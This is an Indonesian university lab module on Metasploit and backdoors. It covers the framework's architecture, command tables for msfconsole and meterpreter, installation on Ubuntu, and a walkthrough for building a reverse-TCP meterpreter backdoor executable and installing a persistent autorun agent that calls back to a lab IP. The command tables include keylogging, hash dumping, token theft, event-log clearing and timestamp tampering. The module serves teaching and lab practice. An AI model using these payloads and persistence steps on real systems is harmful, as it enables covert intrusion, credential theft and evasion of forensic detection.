Anda di halaman 1dari 20

Modul Praktek Network Security

Keamanan Jaringan Telkom University


2014-2015

METASPLOIT DAN BACKDOOR

I. Tujuan
1. Praktikan Mengenal dan memahami konsep dasar eksploitasi dengan metasploit
2. Praktikan dapat melakukan eksploitasi sederhana menggunakan metasploit
3. Praktikan Mengenal dan Memahami konsep dasar backdoor
4. Praktikan dapat melakukan instalasi sederhana backdoor menggunakan metasploit
II. Alat yang dugunakan
1. Virtual box
2. Sistem Operasi
 Ubuntu 12.04
 Windows 7
III. Dasar Teori
A. Metasploit
The Metasploit Project adalah sebuah poyek open source yang dikembangkan oleh rapid7 yang
meneliti tentang kerentanan keamanan dan mengembangkan kode yang memungkinkan jaringan
masuk ke jaringan sendiri untuk mengidentifikasi risiko keamanan.
Penciptaan proyek yang paling terkenal adalah Metasploit Framework. Metasploit Framework
adalah sebuah platform perangkat lunak untuk mengembangkan, menguji, dan melaksanakan
eksploitasi. Metasploit awalnya diciptakan sebagai alat jaringan portable oleh HD Moore pada
tahun 2003 kemudian diakuisisi oleh perusahaan keamanan jaringan rapid7 pada tahun 2009.
(TechTarget, 2011)

1
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Arsitektur metasploit (Aharoni, et al., 2014)

Libraries
 Rex
Perpustakaan (libraries) dasar untuk sebagian besar tugas.
Menangani soket, protokol, transformasi teks, dll.
 MSF Core
Menyediakan dasar API (Application Programming Interface)
Mendefinisikan metasploit framework
 MSF Base
Menyediakan ramah API
Menyediakan API yang disederhanakan untuk framework

Metasploit Interface

1. MSFConsole
Pada praktikum ini menggunakan MSFconsole sebagai pembelajaran metasploit. Pada
msfconsole merupakan "all-in-one" atau konsol terpusat dan memungkinkan pengguna lebih
efisien karena untuk hampir semua pilihan telah tersedia di Metasploit Framework.

2
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Kelebihan MSFConsole :

 Merupakan interface satu-satunya yang dapat mengakses sebagian fitur yang ada pada
metasploit
 Menyediakan antarmuka berbasis konsol untuk framework
 Merupakan interface yang memiliki banyak fitur dan merupakan yang paling stabil
 Mendukung full read line, tabbing dan command completion

2. MSFcli
Merupakan interface yang menggunakan command line untuk menggunakan metasploit.
Kelebihan MSFcli :
 Mendukung peluncuran eksploitasi dan modul tambahan
 Dapat menangani tugas tertentu yang lebih spesifik
 Baik untuk pembelajaran, karena tidak menggunakan fitur otomatis seperti yang
dimiliki msfconsole
 Cocok digunakan untuk pengujian atau mengembangkan eksploitasi yang baru

3
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Kekurangan MSFcli :
MSFcli tidak mendukung banyak fitur sebaik MSFconsole, dan hanya dapat menangani satu
shell dalam satu waktu, sehingga lebih praktis untuk menggunakan serangan client-side.
Contoh :

3. Armitage
Armitage adalah salah satu interfaces yang dimiliki metasploit menggunakan grafis. Dibuat
oleh Raphael Mudge.
Armitage (Fili, 2010)

4
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Modules
Dalam konteks ini, yang dimaksud modul adalah software yang digunakan oleh framework
metasploit.
 Payload
Kode yang digunakan untuk mengeksekusi perintah pada sistem, kemudian kode ini dipilih
dan disampaikan oleh framework untuk melakukan penetrasi.
 Shellcode
Shellcode adalah satu set instruksi yang digunakan sebagai payload ketika eksploitasi
terjadi. Shellcode biasanya ditulis dalam bahasa assembly.
 Exploit
Pemanfaatan yang dilakukan oleh penyerang terhadap lemahnya suatu sistem untuk
memperoleh keuntungan.
 Listener
Listener dalam konteks ini adalah komponen pada metasploit yang menunggu koneksi
masuk.
 Encoders
Memastikan bahwa payload sampai ke tujuan
 Auxiliary
Sebagai pelengkap modul

Meterpreter adalah salah satu produk unggulan yang dimiliki metasploit dan digunakan sebagai
payload setelah kerentanan sistem berhasil dimanfaatkan.
Meterpreter merupakan perpanjangan dari framework Metasploit yang memungkinkan kita untuk
memanfaatkan fungsi Metasploit. Beberapa fungsi ini meliputi cara untuk menutupi jejak, berada
sepenuhnya dalam memori, hash dump, akses sistem operasi, dan lain-lain.

5
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Perintah Dasar

a. Perintah dasar MSFconsole


COMMAND Artinya
show exploits Menampilkan semua modul dalam framework
show payloads Menampilkan semua payload dalam framework
show auxiliary Menampilkan semua modul tambahan dalam
framework
search <name> Mencari modul pada framework
info Memuat informasi tentang modul tertentu
use <name> Memuat eksploitasi atau modul
LHOST Local host (Alamat IP local yang dijangkau oleh
target / IP local yang digunakan oleh pengguna
metasploit)
RHOST Remote host atau target (Alamat IP target)
LPORT Port local yang digunakan untuk membuka
koneksi
RPORT Menentukan port yang terbuka pada komputer
target (Remote Port)
set function Mengatur nilai tertentu (misalnya, LHOST atau
RHOST)
setg function Mengatur nilai tertentu secara global
(misalnya, LHOST atau RHOST)
show options Tampilan pilihan yang tersedia untuk modul
atau eksploitasi
show target Menampilkan platform target (Sistem operasi
dan versinya)
Set target <num> Menentukan index target tertentu, setelah
pengguna megetahui sistem operasi dan
versinya

6
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

set payload <payload> Menentukan payload untuk digunakan


Show advanced Menampilkan opsi lanjutan
Set autorunscript migrate -f Mengatur secara otomatis bermigrasi ke proses
yang terpisah setelah proses eksploitasi selesai
check Menentukan apakah target rentan terhadap
serangan
exploit Menjalankan modul atau mengeksploitasi dan
melakukan serangan kepada target
exploit -j Menjalankan mengeksploitasi dibawah konteks
pekerjaan (melakukan eksploitasi pada mode
background)
exploit -z Menjalankan modul atau mengeksploitasi
tetapi tidak akan berinteraksi dengan session
setelah proses eksploitasi sukses
exploit –e encoder Menjalankan modul atau mengekploitasi
menggunakan encoder payload,
contoh : exploit –e shikata_ga_nai
exploit -h Menampilkan perintah bantuan untuk
menjalankan perintah exploit
session -l Menampilkan daftar session yang tersedia
(digunakan ketika menangani banyak shell)
session –l –v Menampilkan semua daftar session yang
tersedia dan menampilkan secara terperinci
seperti yang digunakan ketika melakukan
eksploitasi sistem
session –s script Menjalankan secara spesifik script meterpreter
pada semua session meterpreter aktif
session -K Menonaktifkan semua session yang aktif
session –c cmd Menjalankan semua perintah pada session
meterpreter aktif

7
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

session –u sessionID Upgrade win32 shell normal ke konsol


meterpreter
db_create Membuat database, digunakan untuk serangan
berbasis database (contoh db_create
autopwn)
db_connect Membuat dan menghubungkan ke database
(contoh db_connect autopwn)
db_nmap Menggunakan nmap dan menempatkan
hasilnya ke dalam database (sintaks yang
mendukung nmap –sT –v –p0)
db_autopwn -h Tampilan bantuan untuk menggunakan
db_autopwn
db_destroy Menghapus database saat ini
db_destroy Menghapus database menggunakan opsi
user:password@host:port/database lanjutan

b. Perintah dasar meterpreter


COMMAND Artinya
help Menampilkan perintah bantuan untuk
menjalankan meterpreter
run scriptname Menjalankan perintah meterpreter berbasis
script
sysinfo Menampilkan informasi sistem target
ls Menampilkan daftar files dan folder target
use priv menggunakan privilege mode untuk
mendapatkan akses istimewa
ps Menampilkan semua proses yang berjalan dan
akun yang berhubungan dengan setiap proses
Migrate PID Bermigrasi ke ID proses tertentu (PID adalah
Proses ID yang diperoleh dari perintah ps)

8
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Use incognito Menggunakan fungsi penyamaran (Digunakan


untuk tanda pencurian dan peniruan pada
mesin target)
list_token -u Menampilkan daftar token yang tersedia setiap
pengguna (by user)
List_token -g Menampilkan daftar token yang tersedia
perkelompok (by group)
impersonate_token Meniru token yang tersedia pada target
DOMAIN_NAME\\USERNAME
steal_token PID Mencuri token yang tersedia untuk suatu proses
dan melakukan penyamaran melalui token itu
drop_token Berhenti menyamar token
getsystem Mencoba untuk meningkatkan hak akses untuk
mengakses sistem melalui beberapa vektor
serangan
shell Memindahkan ke sebuah shell interaktif dengan
semua token yang tersedia
execute -f cmd.exe -i menjalankan cmd.exe dan berinteraksi dengan
cmd tersebut
execute -f cmd.exe -i -t menjalankan cmd.exe dengan semua token
tersedia
execute -f cmd.exe -i -H -t menjalankan cmd.exe dengan semua token
yang tersedia dan membuat proses
tersembunyi
rev2self Kembali ke user asli yang digunakan untuk
bernegosiasi dengan target
reg command Interact, create, delete, query, set, dan masih
banyak registri target
setdesktop number Beralih ke layar yang berbeda berdasarkan pada
siapa yang login

9
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

screenshot Mengambil screenshot layar target


upload file Mengupload file ke target
download file Mendownload file dari target
keyscan_start Mulai sniffing penekanan tombol pada target
secara jarak jauh
keyscan_dump Membuang key yang terekam oleh target
keyscan_stop Berhenti melakukan sniffing
getprivs Mendapatkan hak akses sebanyak mungkin
pada target
uictl enable keyboard/mouse Ambil kontrol dari keyboard dan atau mouse
background menjalankan Meterpreter shell di background
hashdump Membuang semua hash pada target
use sniffer Memuat modul sniffer
sniffer_interfaces Menampilkan daftar interface yang tersedia
pada target
sniffer_dump interfaceID Mulai sniffing pada remote target
pcapname
sniffer_start interfaceID Mulai sniffing dengan range tertentu untuk
packet-buffer buffer paket.
sniffer_stats interfaceID Ambil informasi statistik dari saat interface
melakukan sniffing.
sniffer_stop interfaceID Hentikan sniffer
add_user username password -h Menambahkan pengguna pada target
ip
add_group_user "Domain Admins" Menambahkan user ke grup Administrator
username -h ip Domain pada remote target
clearev menghapus event log pada mesin target.
timestomp Merubah atribut file, seperti tanda pembuatan,
dll
reboot Restart mesin target

10
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

REQUIREMENT METASPLOIT

Untuk spesifikasi hardware minimal dapat dilihat di http://www.offensive-security.com/metasploit-


unleashed/Requirements
INSTALASI METASPLOIT PADA UBUNTU 12.04
1. Update repository
#sudo apt-get update
2. Dapatkan package metasploit di http://metasploit.com/download
Keterangan : pada modul ini metasploit yang digunakan adalah untuk linux 32 bit
3. Simpan file tersebut di Desktop
4. Masuk mode bash
#sudo bash
5. Masuk direktori desktop
#cd Desktop/
6. Merubah hak akses
#chmod +x metasploit-latest-linux-installer.run
7. Lalu jalankan setup metasploit
#./ metasploit-latest-linux-installer.run
8. Klik forward

11
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

9. Centang I accept the agreement lalu klik forward

10. Klik forward, menggunakan direktori default

12
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

11. Klik yes, pada pilihan install as service lalu klik forward

12. Klik forward, untuk disable antivirus and firewall

13. Gunakan ssl port default, lalu klik forward

13
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

14. Gunakan server default, lalu klik forward

15. Klik forward

16. Menunggu proses instalasi

14
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

17. Buka terminal, lalu install paket pendukung


#sudo apt-get install postgreSQL rubygems libpq-dev libreadline-dev ruby-dev
18. Instal paket nmap
#sudo apt-get install nmap

B. Backdoor
Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer
dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan
secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar
komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan
atau Remote Administration Tool (RAT).
Contoh trojan backdoor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back
Orifice, Sub Seven (Sub7), meterpreter backdoor, persistent backdoor (Netcat backdoor,
meterpreter service), dan lain-lain.

Cara kerja Trojan Backdoor

Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer
target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan
komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan
reverse connection.
 Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat
berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.
 Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha
melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi
Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis?
Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara
gratis oleh website-website tertentu.
(Mojokertocyber Media, 2013)

15
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Perintah dasar Persistent Backdoor

Sebelum membuat backdoor menggunakan meterpreter service, kita harus memahami perintah
dasar msfpayload.
Msfpayload adalah contoh baris perintah dari Metasploit yang digunakan untuk menghasilkan dan
output semua berbagai jenis shellcode yang tersedia di Metasploit. Penggunaan yang paling umum
dari alat ini adalah untuk generasi shellcode untuk mengeksploitasi yang tidak sedang dalam
Metasploit Framework atau untuk menguji berbagai jenis shellcode dan pilihan sebelum
menyelesaikan modul.
Berikut pilihan perintah yang tersedia pada msfpayload :

root@praktikum:~# msfpayload -h
Usage: /usr/bin/msfpayload [] [var=val]
<[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Py
tho[N]>

OPTIONS:

-h Help banner
-l List available payloads

Untuk melihat daftar payload yang tersedia menggunakan perintah seperti dibawah ini :

root@praktikum:~# msfpayload -l

Framework Payloads (251 total)


==============================

Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a
connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an
established connection
...snip...
...snip...
windows/x64/vncinject/bind_tcp Listen for a
connection (Windows x64), Inject a VNC Dll via a reflective loader
(Windows x64) (staged)
windows/x64/vncinject/reverse_tcp Connect back to the
attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows
x64) (staged)

16
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

Untuk mengecek apakah payload anda pilih tersebut tersedia pada komputer anda

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp O

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager


Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread,
process, none
LHOST yes The listen address
LPORT 4444 yes The listen port

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)

Status yes pada baris EXITFUNC menunjukan bahwa payload tersedia (sesuai)

17
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp


LHOST=192.168.1.2 LPORT=666 x O

Name: Windows Meterpreter (Reflective Injection), Reverse TCP


Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 290
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
hdm <hdm@metasploit.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread,
process, none
LHOST 192.168.1.2 yes The listen address
LPORT 666 yes The listen port

Description:
Connect back to the attacker, Inject the meterpreter server DLL via
the Reflective Dll Injection payload (staged)

Status yes menunjukan bahwa pengaturan LHOST dan LPORT tersedia (sesuai)
Setelah memastikan bahwa semua pengaturan tersedia, maka eksekusi perintah tersebut seperti
contoh dibawah ini

root@praktikum:~# msfpayload windows/meterpreter/reverse_tcp


LHOST=192.168.1.2 LPORT=666 x > /var/www/backdoor.exe

Keterangan :

- msfpayload adalah perintah untuk menggunakan msfpayload


- windows/meterpreter/reverse_tcp adalah payload yang dipilih dan digunakan
pada contoh diatas

18
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

- LHOST adalah Alamat IP local yang dijangkau oleh target / IP local yang digunakan oleh
pengguna metasploit, 192.168.1.2 adalah ip address yang digunakan oleh komputer
penyerang
- LPORT Port local yang digunakan untuk membuka koneksi
- x adalah argument yang menyatakan untuk dieksekusi (executable)
- /var/www/ adalah tempat dimana file backdoor.exe disimpan
- backdoor.exe adalah nama file .exe

Untuk melihat pilihan yang tersedia, kita dapat menggunakan perintah “-h”, perintah ini digunakan
setelah berhasil melakukan exploitasi menggunakan meterpreter.

meterpreter > run persistence -h

OPTIONS:

-A Automatically start a matching multi/handler to connect to


the agent
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval in seconds between each connection attempt
-p The port on the remote host where Metasploit is listening
-r The IP of the system running Metasploit listening for the
connect back

Berikut contoh untuk mengimplementasikan perintah diatas :

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71


[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5
onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] Installed into autorun as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
[*] For cleanup use command: run multi_console_command -rc
/root/.msf4/logs/persistence/XEN-XP-SP2-
BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

19
Modul Praktek Network Security
Keamanan Jaringan Telkom University
2014-2015

IV. Referensi
Aharoni, M., Coppola, W., Hand, P., Hernandez, A., Kearns, D., Kennedy, D., et al. (2014). Metasploit
Unleashed. Retrieved Februari 12, 2014, from Offensive Secutity: http://www.offensive-
security.com/metasploit-unleashed/Metasploit_Architecture

Fili. (2010, September 18). Eclectic Security. Retrieved April 03, 2014, from Metasploit 3.7.0 and
Armitage with postgresql support: http://bailey.st/blog/tag/metasploit/

Mojokertocyber Media. (2013). Hacking Dengan Trojan Backdoor. Retrieved April 8, 2014, from
Mojokertocyber Media: http://www.mojokertocyber.com/cyber-tech/keamanan-
jaringan/178-hacking-dengan-trojan-backdoor.html

TechTarget. (2011, Agustus). Metasploit Project - Metasploit Framework. Retrieved Februari 12,
2014, from SearchSecurity.in: http://searchsecurity.techtarget.in/definition/Metasploit-
Project-Metasploit-Framework

20

Anda mungkin juga menyukai